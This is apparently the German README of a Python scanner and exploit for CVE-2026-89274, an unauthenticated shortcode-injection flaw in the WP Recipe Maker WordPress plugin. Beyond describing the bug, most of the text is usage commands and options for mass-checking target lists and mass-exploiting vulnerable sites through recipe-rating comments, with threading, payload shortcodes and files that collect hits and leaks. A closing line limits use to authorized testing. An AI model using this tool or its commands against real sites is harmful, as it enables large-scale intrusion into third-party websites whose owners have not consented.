
Python-PoC-Scanner und Exploit für CVE-2026-89274, eine nicht authentifizierte Schwachstelle zur beliebigen Shortcode-Ausführung in WP Recipe Maker <=10.8.1 über Rezeptbewertungskommentare und JSON-LD.
Python 3 PoC-Scanner/Exploit für CVE-2026-89274 in WP Recipe Maker.
| Plugin | wp-recipe-maker |
| Betroffen | ≤ 10.8.1 |
| Behoben in | 10.8.2+ |
| CVSS | 9.1 (Kritisch) |
| Auth | Nicht authentifiziert (Kommentar-Übermittlung) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() führt do_shortcode() auf Metadaten-Feldern aus, bevor strip_shortcodes() aufgerufen wird. Genehmigte Rezeptbewertungs-Kommentare (wprm-comment-rating) befüllen das JSON-LD reviewBody; injizierte Shortcodes werden beim Laden der Rezeptseite ausgeführt und können Ausgaben in strukturierten Daten preisgeben.
Voraussetzung: Der bösartige Kommentar muss genehmigt sein (automatische Genehmigung oder Moderator). Der Exploit-Modus kann --verify verwenden, um zu bestätigen, dass der Marker im JSON-LD reviewBody erscheint.
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt Zeilenformat (Verify-Modus)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| Option | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-Basis-URL |
--list | URL-Liste, candidates.jsonl oder submitted_mass.txt (Verify) |
--mode | check, exploit oder verify |
--recipe-url | Beitrags-URL mit eingebettetem WPRM-Rezept + Kommentaren |
--post-id | WordPress comment_post_ID |
--recipe-id | WPRM-Rezept-ID (optional --use-api) |
--shortcode | Payload im Kommentartext (Standard-Probe-Shortcode) |
--marker | Verify: JSON-LD nach Marker-Teilstring durchsuchen |
--verify | Exploit: Leak im JSON-LD nach Übermittlung bestätigen |
--use-api | Zusätzlich Premium-Benutzerbewertungs-REST-Pfad versuchen |
--threads, -j | Massenparallelität (Standard 20) |
--output | JSONL-Ergebnisse (Standard cve_2026_89274_results.jsonl) |
--vuln-list | Textausgabe für Treffer/Leaks (Standard hits.txt) |
--candidates-list | Check-Treffer-Metadaten (Standard candidates.jsonl) |
--quiet | Weniger Fortschrittsausgabe bei Massenläufen |
| Datei | Inhalt |
|---|---|
cve_2026_89274_results.jsonl | JSON pro Ziel |
hits.txt | Kandidaten-Basis-URLs |
candidates.jsonl | page_url, post_id, recipe_id, version |
status-Werte (Check)| Status | Bedeutung |
|---|---|
candidate | Anfällige Version + Rezeptseite mit wprm-comment-rating |
plugin_no_recipe_comments | Plugin vorhanden, keine geeignete Rezept-/Kommentarseite gefunden |
recipe_no_comment_rating | Rezeptseite ohne Bewertungskommentar-Formular |
patched | Version ≥ 10.8.2 |
no_plugin | WP Recipe Maker nicht erkannt |
[caption])./blog/, /recipes/) zeigen möglicherweise keine JSON-LD-Leaks; der Exploit bevorzugt einzelne Rezept-Permalinks bei der Seitenerkennung.--verify bestätigt nur die JSON-LD-Reflexion, nicht vollständige RCE..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Lokale Scan-Listen und Laufzeit-Artefakte (list.txt, *.jsonl, submitted_mass.txt, …) befinden sich in .gitignore und sollten nicht committet werden.
Nur für autorisiertes Sicherheitstesting. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.